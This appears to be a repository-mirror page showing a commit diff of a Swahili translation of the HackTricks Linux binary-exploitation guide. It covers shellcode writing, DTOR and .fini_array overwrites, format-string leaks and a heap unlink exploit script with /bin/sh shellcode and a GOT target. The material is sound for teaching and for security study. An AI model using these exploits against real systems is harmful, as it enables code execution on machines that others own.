Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin

Browse source
This commit is contained in:
Translator 2024-04-02 19:48:36 +00:00
parent d1052b7aa3
commit 9b745b45d0
16 changed files with 572 additions and 418 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

6
SUMMARY.md
View file

@ -700,8 +700,9 @@
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Pointer Redirecting](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2ret & Reo2pop](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
* [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
* [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
@ -717,10 +718,11 @@
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [BF Forked & Threaded Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
* [One Gadget](reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AWS2Exec - .dtors & .fini\_array](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini\_array.md)
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)

396
exploiting/linux-exploiting-basic-esp/README.md
View file

@ -9,7 +9,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -28,10 +28,10 @@ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Tekeleza syscall
**nasm -f elf assembly.asm** —> Inarudi .o\
**ld assembly.o -o shellcodeout** —> Inatoa kutekelezeka iliyoundwa na msimbo wa mkusanyiko na tunaweza kutoa opcodes na **objdump**\
**ld assembly.o -o shellcodeout** —> Inatoa faili inayoweza kutekelezwa iliyoundwa na msimbo wa mkusanyiko na tunaweza kutoa opcodes na **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kwamba kwa kweli ni shellcode yetu na kutoa OpCodes
**Thibitisha kwamba shellcode inafanya kazi**
**Thibitisha kuwa shellcode inafanya kazi**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -41,9 +41,9 @@ fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
Ili kuhakikisha wito wa mfumo unafanywa kwa usahihi, lazima uunde programu iliyopita na wito wa mfumo uonekane katika **strace ./PROGRAMA\_COMPILADO**
Ili kuhakikisha wito wa mfumo unafanywa kwa usahihi, lazima ucompile programu iliyopita na wito wa mfumo unapaswa kuonekana katika **strace ./PROGRAMA\_COMPILADO**
Wakati wa kuunda shellcodes, unaweza kutumia hila. Maagizo ya kwanza ni jump kwenda kwa wito. Wito unaita msimbo wa asili na pia huingiza EIP kwenye stack. Baada ya maagizo ya wito tumeweka string tunayohitaji, kwa hivyo na EIP hiyo tunaweza kuelekeza kwa string na kuendelea kutekeleza msimbo.
Wakati wa kuunda shellcodes, unaweza kutumia hila. Maagizo ya kwanza ni jump kwenda kwenye wito. Wito unaita msimbo wa asili na pia huingiza EIP kwenye stack. Baada ya maagizo ya wito tumeweka string tunayohitaji, kwa hivyo na EIP hiyo tunaweza kuelekeza kwenye string na kuendelea kutekeleza msimbo.
EJ **HILA (/bin/sh)**:
```
@ -95,11 +95,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Mwindaji wa Yai:**
Inajumuisha nambari ndogo ambayo inatafuta kurasa za kumbukumbu zinazohusiana na mchakato kwa kutafuta shellcode iliyo ndani yake (inatafuta saini iliyowekwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza nambari.
Inajumuisha nambari ndogo inayopitia kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa hapo (inatafuta saini yoyote iliyowekwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza nambari.
**Shellcodes za Polimofiki**
Hizi ni shell zilizofichwa ambazo zina nambari ndogo za kuzificha na kuziruka, zikitumia mbinu ya Call-Pop hii itakuwa **mfano wa kificho kilichofichwa kwa Cesar**:
Hizi ni shell zilizofichwa ambazo zina nambari ndogo za kuzificha na kuziruka, zikitumia mbinu ya Call-Pop hii itakuwa **mfano wa kificho cha Caesar kilichofichwa**:
```
global _start
_start:
@ -120,121 +120,19 @@ sc:
```
## **5. Mbinu Zingine**
**Ret2Ret**
Inatumika wakati haiwezekani kuweka anwani ya stack kwenye EIP (inathibitisha kuwa EIP hauna 0xbf) au wakati haiwezekani kuhesabu mahali pa shellcode. Lakini, kazi yenye kasoro inakubali parameter (shellcode itawekwa hapa).
Kwa njia hii, kwa kubadilisha EIP na anwani ya **ret**, italeta anwani inayofuata (ambayo ni anwani ya kwanza ya argumenti ya kazi). Yaani, italeta shellcode.
Exploit itakuwa: SHELLCODE + Kujaza (hadi EIP) + **\&ret** (byte zinazofuata kwenye stack zinaelekeza mwanzo wa shellcode kwa sababu anwani ya argumenti iliyopita imewekwa kwenye stack)
Inaonekana kazi kama **strncpy** mara baada ya kukamilika hufuta kwenye stack anwani ambapo shellcode ilikuwa imehifadhiwa ikizuia mbinu hii. Yaani, anwani wanayoipitisha kama argumenti kwa kazi (ile inayohifadhi shellcode) inabadilishwa na 0x00 kwa hivyo wakati wa kuita **ret** ya pili inakutana na 0x00 na programu inakufa.
**Mbinu ya Murat**
Katika linux programu zote zinapangwa kuanzia 0xbfffffff
Katika linux, programu zote zinamapishwa kuanzia 0xbfffffff
Kwa kuangalia jinsi stack ya mchakato mpya inavyojengwa katika linux, unaweza kuendeleza exploit ili programu ianzishwe katika mazingira ambayo variable pekee ni shellcode. Kisha anwani ya hii inaweza kuhesabiwa kama: addr = 0xbfffffff - 4 - strlen(JINA\_la\_programu\_kamili) - strlen(shellcode)
Kwa kuangalia jinsi mizizi ya mchakato mpya inavyojengwa katika linux, unaweza kuendeleza exploit ili programu ianzishwe katika mazingira ambayo variable pekee ni shellcode. Kisha anwani ya hii inaweza kuhesabiwa kama: addr = 0xbfffffff - 4 - strlen(JINA\_la\_programu\_kamili) - strlen(shellcode)
Kwa njia hii, unaweza kupata kwa urahisi anwani ambapo variable ya mazingira iko na shellcode.
Kwa njia hii, unaweza kwa urahisi kupata anwani ambapo variable ya mazingira iko na shellcode.
Hii inawezekana kufanywa kwa sababu kazi ya execle inaruhusu kuunda mazingira ambayo ina variable za mazingira zinazotakiwa tu.
Hii inawezekana kwa sababu kazi ya execle inaruhusu kuunda mazingira ambayo ina viwango vya mazingira vinavyotakiwa tu
**Integer overflows**
### **Muundo wa Strings kwa Buffer Overflows**
Aina hii ya overflows hutokea wakati variable haijaandaliwa kusaidia nambari kubwa kama ile inayopitishwa, labda kwa kuchanganyikiwa kati ya variables zenye ishara na zisizo na ishara, kwa mfano:
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
```
Katika mfano uliopita tunaona kuwa programu inatarajia vigezo 2. La kwanza ni urefu wa string inayofuata na la pili ni string yenyewe.
Ikiwa tunaweka nambari hasi kama kigezo cha kwanza, itasema kuwa len < 256 na tutapita kizuizi hicho, na pia strlen(buffer) itakuwa ndogo kuliko l, kwani l ni unsigned int na itakuwa kubwa sana.
Aina hii ya overflows haikusudiwi kuandika kitu kwenye mchakato wa programu, bali kuzidi vichujio vilivyoundwa vibaya ili kutumia mapungufu mengine.
**Variables not initialized**
Haijulikani thamani ambayo inaweza kuchukua variable ambayo haijaanzishwa na inaweza kuwa ya kuvutia kuichunguza. Inaweza kuchukua thamani iliyokuwa ikichukuliwa na variable ya kazi ya awali na hii inaweza kudhibitiwa na mshambuliaji.
##
###
###
###
### **.fini\_array**
Kimsingi hii ni muundo na **functions ambazo zitaitwa** kabla ya programu kukamilika. Hii ni ya kuvutia ikiwa unaweza kuita **shellcode yako kwa kuruka kwenye anwani**, au katika hali ambapo unahitaji kurudi kwa main tena ili **kutumia format string mara ya pili**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Tafadhali kumbuka kwamba hii **haitasababisha** **mwanya wa milele** kwa sababu unaporudi kwenye kipengele kuu, canary atagundua, mwisho wa stack unaweza kuharibiwa na kazi haitaitwa tena. Kwa hivyo, utaweza **kuwa na utekelezaji mwingine** wa mwanya.
### **Fomati za String ili Kudumpisha Yaliyomo**
Fomati ya string inaweza kutumika pia kudumpisha yaliyomo kutoka kwenye kumbukumbu ya programu. Kwa mfano, katika hali ifuatayo kuna **variable ya ndani kwenye stack inayoelekeza kwenye bendera.** Ikiwa **utapata** mahali **kwenye kumbukumbu** ambapo **pointer** kwa **bendera** iko, unaweza kufanya **printf kufikia** anwani hiyo na **kuchapisha** bendera:
Kwa hivyo, bendera iko kwenye **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Na kutoka kwa uvujaji unaweza kuona **pointer kwa bendera** iko kwenye **parameter ya 8**:
![](<../../.gitbook/assets/image (623).png>)
Kwa hivyo, **kufikia parameter ya 8** unaweza kupata bendera:
![](<../../.gitbook/assets/image (624).png>)
Tafadhali kumbuka kufuatia **udanganyifu uliopita** na kugundua kwamba unaweza **kuvuja yaliyomo** unaweza **kuweka pointers** kwa **`printf`** kwenye sehemu ambapo **kutekelezeka** imesha **pakia** na **kudump** kabisa!
### **DTOR**
{% hint style="danger" %}
Leo ni nadra sana **kupata binary na sehemu ya dtor**.
{% endhint %}
Waharibifu ni kazi ambazo **hutekelezwa kabla ya programu kukamilika**. Ikiwa utaweza **kuandika** anwani ya **shellcode** kwenye **`__DTOR_END__`**, hiyo itatekelezwa kabla ya programu kukamilika. Pata anwani ya sehemu hii na:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Kawaida utapata sehemu ya **DTOR** **kati ya** thamani `ffffffff` na `00000000`. Kwa hivyo ikiwa unauona tu thamani hizo, inamaanisha kwamba **hakuna kazi iliyosajiliwa**. Kwa hivyo **badilisha** **`00000000`** na **anwani** ya **shellcode** ili kuitekeleza.
### **Fomati za Strings kwa Buffer Overflows**
**sprintf** inahamisha string iliyopangwa **kwa** **variable.** Kwa hivyo, unaweza kutumia **upangaji** wa string kusababisha **buffer overflow kwenye variable** ambapo maudhui yanakopwa.\
Kwa mfano, payload `%.44xAAAA` itaandika **44B+"AAAA" kwenye variable**, ambayo inaweza kusababisha buffer overflow.
**sprintf inahamisha** string iliyoundwa **kwa** variable. Kwa hivyo, unaweza kutumia **muundo** wa string kusababisha **buffer overflow kwenye variable** ambapo maudhui yanakopiwa. Kwa mfano, payload `%.44xAAAA` itaandika 44B+"AAAA" kwenye variable, ambayo inaweza kusababisha buffer overflow.
### **Miundo ya \_\_atexit**
@ -242,10 +140,7 @@ Kwa mfano, payload `%.44xAAAA` itaandika **44B+"AAAA" kwenye variable**, ambayo
Leo ni **kigeni kuitumia hii**.
{% endhint %}
**`atexit()`** ni kazi ambayo **kazi zingine hupitishwa kama parameta.** Hizi **kazi** zitatekelezwa wakati wa kutekeleza **`exit()`** au **kurudi** kwa **kazi kuu**.\
Ikiwa unaweza **kubadilisha** **anwani** ya mojawapo ya hizi **kazi** ili ielekee kwenye shellcode kwa mfano, utapata **udhibiti** wa **mchakato**, lakini hii ni ngumu zaidi kwa sasa.\
Kwa sasa **anwani za kazi** zitakazotekelezwa zimefichwa nyuma ya miundo kadhaa na mwishowe anwani ambayo inaelekezwa sio anwani za kazi, bali zime **fichwa kwa XOR** na viondoleo na **funguo la nasibu**. Kwa hivyo, vector huu wa shambulio sio wa manufaa sana angalau kwenye x86 na x64\_86.\
Kazi ya **kuandika** ni **`PTR_MANGLE`**. **Miundo mingine** kama m68k, mips32, mips64, aarch64, arm, hppa... **hazitekelezi kazi ya kuficha** kwa sababu **inarejesha sawa** na ilivyopokea kama kuingia. Kwa hivyo miundo hii inaweza kushambuliwa kupitia vector huu.
**`atexit()`** ni kazi ambayo **kazi zingine hupitishwa kama paramita.** Hizi **kazi** zitatekelezwa wakati wa kutekeleza **`exit()`** au **kurudi** kwa **msingi**. Ikiwa unaweza **kubadilisha** **anwani** ya moja ya hizi **kazi** ili ielekee shellcode kwa mfano, utapata **udhibiti** wa **mchakato**, lakini hii ni ngumu zaidi sasa. **Anwani za kazi** za kutekelezwa sasa zimefichwa nyuma ya miundo kadhaa na mwishowe anwani ambayo inaelekeza sio anwani za kazi, bali zime **fichwa kwa XOR** na vigeuzi vya **ufunguo wa nasibu. Kwa hivyo, vector huu wa shambulio sio wa kufaa sana angalau kwa x86** na **x64\_86**. **Kazi ya kuficha** ni **`PTR_MANGLE`**. **Miundo mingine** kama m68k, mips32, mips64, aarch64, arm, hppa... **hawatekelezi kazi ya kuficha** kwa sababu **inarejesha sawa** na ilivyopokea kama kuingia. Kwa hivyo miundo hii inaweza kushambuliwa kupitia vector huu.
### **setjmp() & longjmp()**
@ -253,44 +148,42 @@ Kazi ya **kuandika** ni **`PTR_MANGLE`**. **Miundo mingine** kama m68k, mips32,
Leo ni **kigeni kuitumia hii**.
{% endhint %}
**`Setjmp()`** inaruhusu **kuhifadhi** **muktadha** (virejista)\
**`Setjmp()`** inaruhusu **kuhifadhi** **muktadha** (virejeshi)\
**`longjmp()`** inaruhusu **kurudisha** **muktadha**.\
Virejista vilivyohifadhiwa ni: `EBX, ESI, EDI, ESP, EIP, EBP`\
Kile kinachotokea ni kwamba EIP na ESP vinapitishwa na **`PTR_MANGLE`** kwa hivyo **usalama wa miundo hii ni sawa na hapo juu**.\
Ni muhimu kwa kupona makosa au kuingilia kati.\
Hata hivyo, kulingana na nilichosoma, virejista vingine havilindwi, **kwa hivyo ikiwa kuna `call ebx`, `call esi` au `call edi`** ndani ya kazi inayoitwa, udhibiti unaweza kuchukuliwa. Au unaweza pia kubadilisha EBP ili kubadilisha ESP.
Virejeshi vilivyohifadhiwa ni: `EBX, ESI, EDI, ESP, EIP, EBP`\
Kile kinachotokea ni kwamba EIP na ESP hupitishwa na **`PTR_MANGLE`** kwa hivyo **miundo inayoweza kushambuliwa na hii ni ile ile kama hapo juu**.\
Ni muhimu kwa kupona kosa au kuingilia.\
Walakini, kutokana na nilichosoma, virejeshi vingine havilindwi, **kwa hivyo ikiwa kuna `call ebx`, `call esi` au `call edi`** ndani ya kazi inayoitwa, udhibiti unaweza kuchukuliwa. Au unaweza pia kubadilisha EBP kubadilisha ESP.
**VTable na VPTR katika C++**
Kila darasa lina **Vtable** ambayo ni safu ya **pointa kwa njia**.
Kila kitu cha **darasa** kina **VPtr** ambayo ni **pointa** kwa safu ya darasa yake. VPtr ni sehemu ya kichwa cha kila kitu, kwa hivyo ikiwa **ubadilishaji** wa **VPtr** unafanikiwa unaweza kuibadilisha ili **ielekee** kwa njia bandia ili kutekeleza kifaa ielekee kwenye shellcode.
Kila kitu cha darasa **ina VPtr** ambayo ni **pointa** kwa safu ya darasa yake. VPtr ni sehemu ya kichwa cha kila kitu, kwa hivyo ikiwa **ubadilishaji** wa **VPtr** unafanikiwa inaweza **kubadilishwa** kuwa **pointa** kwa njia bandia ili kutekeleza kazi iende kwa shellcode.
## **Hatua za Kuzuia na Kuepuka**
###
### **Kuchukua Nafasi ya Libsafe**
**Kuchukua Nafasi ya Libsafe**
Inaanzishwa na: LD\_PRELOAD=/lib/libsafe.so.2\
Inawezeshwa na: LD\_PRELOAD=/lib/libsafe.so.2\
au\
“/lib/libsave.so.2” > /etc/ld.so.preload
Inazuia wito kwa baadhi ya kazi hatari kwa kazi salama. Haijathibitishwa (kwa x86 tu, sio kwa ujenzi na -fomit-frame-pointer, sio ujenzi wa static, sio kila kazi hatari inageuzwa kuwa salama na LD\_PRELOAD haifanyi kazi kwa binari zenye suid).
Inazuia wito kwa kazi fulani hatari kwa kazi salama. Haijathibitishwa (kwa x86 tu, sio kwa ujenzi na -fomit-frame-pointer, sio ujenzi wa static, sio kila kazi hatari inageuzwa kuwa salama na LD\_PRELOAD haifanyi kazi kwa binari zenye suid).
**Nafasi ya Anwani ya Nafasi ya ASCII**
Inahusisha kupakia maktaba zilizoshirikishwa kutoka 0x00000000 hadi 0x00ffffff ili kuhakikisha kila wakati kuna byte 0x00. Walakini, hii haizuili karibu shambulio lolote, haswa kwa little endian.
Inahusisha kupakia maktaba zilizoshirikiwa kutoka 0x00000000 hadi 0x00ffffff ili daima iwe na byte 0x00. Walakini, hii haizuili karibu shambulio lolote, na hasa katika mfumo wa little endian.
**ret2plt**
Inahusisha kufanya ROP ili kuita kazi ya strcpy@plt (kutoka kwa plt) na kuelekeza kuingia ya GOT na kunakili byte ya kwanza ya kazi inayotaka kuitwa (system()). Kisha unafanya hivyo kwa GOT+1 na kunakili byte ya pili ya system()… Mwishowe unaita anwani iliyohifadhiwa kwenye GOT ambayo itakuwa system()
Inahusisha kufanya ROP ili kuita kazi ya strcpy@plt (kutoka kwa plt) na kuelekeza kuingia ya GOT na kunakili byte ya kwanza ya kazi inayotaka kuitwa (system()). Kisha unafanya hivyo kwa kuelekeza kwa GOT+1 na kunakili byte ya pili ya system()… Mwishowe unaita anwani iliyohifadhiwa kwenye GOT ambayo itakuwa system()
**Jela na chroot()**
debootstrap -arch=i386 hardy /home/user —> Inasakinisha mfumo wa msingi chini ya saraka maalum
Msimamizi anaweza kutoka kwenye mojawapo ya majela haya kwa kufanya: mkdir foo; chroot foo; cd ..
Msimamizi anaweza kutoka kwa moja ya majela haya kwa kufanya: mkdir foo; chroot foo; cd ..
**Ugunduzi wa Kanuni**
@ -299,7 +192,7 @@ Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Mwambukizi wa Heap: Mashambulizi ya Msingi**
## **8 Mabomu ya Heap: Exploits ya Msingi**
**Kipande kilichopewa**
@ -307,7 +200,7 @@ prev\_size |\
size | —Kichwa\
\*mem | Data
**Kipande huru**
**Kipande cha bure**
prev\_size |\
size |\
@ -315,39 +208,43 @@ size |\
\*bk | Ptr nyuma ya kipande —Kichwa\
\*mem | Data
Vipande huru viko kwenye orodha iliyofungwa mara mbili (bin) na kamwe haziwezi kuwa na vipande huru viwili pamoja (hukusanyika)
Vipande vya bure viko kwenye orodha iliyofungwa mara mbili (bin) na kamwe haziwezi kuwa na vipande viwili vya bure pamoja (vinajiunga)
Kuna bits kwenye "size" ambayo inaonyesha: Ikiwa kipande kilichotangulia kina matumizi, ikiwa kipande kimepewa kwa kutumia mmap() na ikiwa kipande ni sehemu ya uwanja wa msingi.
Katika "size" kuna bits za kuonyesha: Ikiwa kipande cha awali kina matumizi, ikiwa kipande kimepewa kwa kutumia mmap() na ikiwa kipande kinamiliki uwanja wa msingi.
Ikiwa unapofuta kipande kimoja, vipande vya karibu vinapokuwa huru, hivi hufungwa pamoja kupitia macro unlink() na kipande kipya kikubwa hupitishwa kwa frontlink() ili kiingizwe kwenye bin sahihi.
Ikiwa unapofuta kipande kimoja, yoyote ya vipande vinavyopakana ni huru, hivi vinajumuishwa kupitia macro unlink() na kipande kipya kikubwa zaidi kinapitishwa kwa frontlink() ili kiingize bin sahihi.
unlink(){\
BK = P->bk; —> BK ya kipande kipya ni ile iliyokuwa kipande kilichokuwa huru awali\
FD = P->fd; —> FD ya kipande kipya ni ile iliyokuwa kipande kilichokuwa huru awali\
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwenye kipande kipya\
BK->fd = FD; —> FD ya kipande kilichotangulia inaelekeza kwenye kipande kipya\
BK = P->bk; —> BK ya kipande kipya ni ile iliyokuwa huru awali\
FD = P->fd; —> FD ya kipande kipya ni ile iliyokuwa huru awali\
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwa kipande kipya\
BK->fd = FD; —> FD ya kipande kilichotangulia inaelekeza kwa kipande kipya\
}
Kwa hivyo, ikiwa tunaweza kubadilisha P->bk na anwani ya shellcode na P->fd na anwani ya kuingia kwenye GOT au DTORS chini ya 12 tunaweza kufanikisha:
Kwa hivyo, ikiwa tunaweza kubadilisha P->bk na anwani ya shellcode na P->fd na anwani kwa kuingia kwenye GOT au DTORS chini ya 12, tunafanikiwa:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Na hivyo shellcode itatekelezwa wakati programu inamalizika.
Na hivyo shellcode itatekelezwa wakati wa kutoka kwa programu.
Zaidi, sentensi ya 4 ya unlink() inaandika kitu na shellcode lazima ibadilishwe kwa hili:
Zaidi ya hayo, sentensi ya 4 ya unlink() inaandika kitu na shellcode lazima ibadilishwe kwa hili:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Hii husababisha kuandika byte 4 kutoka kwa byte ya 8 ya shellcode, kwa hivyo maagizo ya kwanza ya shellcode lazima iwe ni jmp ili kupita hili na kuingia kwenye nops ambayo itaendelea na shellcode.
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Hii husababisha kuandika byte 4 kutoka kwa byte ya 8 ya shellcode, kwa hivyo maagizo ya kwanza ya shellcode lazima iwe ni jmp ili kupita hii na kuingia kwenye nops ambayo itaendelea na shellcode.
Kwa hivyo shambulio linajengwa:
Kwa hivyo, shambulio linajengwa:
Kwenye buffer1 tunaweka shellcode ikiwaanza na jmp ili iingie kwenye nops au kwenye sehemu nyingine ya shellcode.
Kwenye buffer1 tunaweka shellcode ikiwaanza na jmp ili iangukie kwenye nops au kwenye sehemu nyingine ya shellcode.
Baada ya shell code tunaweka kujaza hadi kufikia uwanja wa prev\_size na size wa kipande kinachofuata. Mahali hapa tunaweka 0xfffffff0 (ili kubadilisha prev\_size ili iwe na bit inayosema kuwa ni huru) na “-4“(0xfffffffc) kwenye size (ili wakati wa kuchunguza kipande cha 3 ikiwa kipande cha 2 kilikuwa huru kweli itaenda kwa prev\_size iliyobadilishwa ambayo itaambia kuwa ni huru) -> Kwa hivyo wakati free() inachunguza itaenda kwa size ya 3 lakini kwa kweli itaenda kwa 2 - 4 na kufikiria kuwa kipande cha 2 ni huru. Na kisha itaita **unlink()**.
Baada ya shell code tunaweka kujaza hadi kufikia uwanja wa prev\_size na size wa kipande kinachofuata. Mahali hapa tunaweka 0xfffffff0 (ili kubadilisha prev\_size ili iwe na bit inayosema ni huru) na "-4" (0xfffffffc) kwenye size (ili wakati wa kuchunguza kipande cha 3 ikiwa kipande cha 2 kilikuwa huru kweli iende kwa prev\_size iliyobadilishwa ambayo itaambia kwamba kipande cha 2 ni huru) -> Kwa hivyo wakati free() inachunguza itaenda kwa size ya 3 lakini kwa kweli itaenda kwa 2 - 4 na kufikiria kwamba kipande cha 2 ni huru. Na kisha itaita **unlink()**.
Kwa kuita unlink() itatumia P->fd kama data ya kwanza ya sehemu ya pili hivyo anaweza kuweka anwani ambayo unataka kubadilisha - 12(kwa sababu katika FD->bk itaongeza 12 kwa anwani iliyohifadhiwa katika FD). Na katika anwani hiyo ataweka anwani ya pili anayopata katika sehemu ya pili, ambayo itakuwa anwani ya shellcode(P->bk bandia).
Kwa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 kwa hivyo anwani inayotaka kubadilishwa - 12 (kwa sababu katika FD->bk itaongeza 12 kwa anwani iliyohifadhiwa kwenye FD) itaingizwa hapo. Na kwenye anwani hiyo itaingiza anwani ya pili inayopatikana kwenye kipande cha 2, ambayo itakuwa anwani ya shellcode(P->bk bandia).
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes ya kujaza**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@ -355,63 +252,63 @@ Kwa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 kwa hivyo
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**prev\_size = pack("\<I”, 0xfffffff0) #Inahitaji bit inayoonyesha kwamba sehemu iliyotangulia iko huru iwe 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, ili iweze kufikiria kwamba "size" ya sehemu ya tatu iko nyuma kwa bytes 4 (inamaanisha prev\_size) kwa sababu ndio mahali inapoangalia ikiwa sehemu ya pili iko huru**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Katika payload mwanzoni tutaweka bytes 8 za kujaza**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**got\_free = pack("\<I", 0x08048300 - 12) #Anwani ya free() katika plt-12 (itakuwa anwani itakayobadilishwa ili kuzindua shellcode mara ya pili free inaitwa)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Kama ilivyosemwa payload inaanza na bytes 8 za kujaza kwa sababu**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Sehemu ya pili inabadilishwa, got\_free inaelekeza mahali tutahifadhi anwani addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
**unset() ikiruhusu kwa mtiririko wa nyuma (wargame)**
Tunadhibiti vitu 3 vya chunks mfululizo na kuvifungua kwa mpangilio wa nyuma kwenda mbele.
Tunadhibiti vifungu 3 mfululizo na huru kwa mpangilio wa nyuma wa kuhifadhiwa.
Katika kesi hiyo:
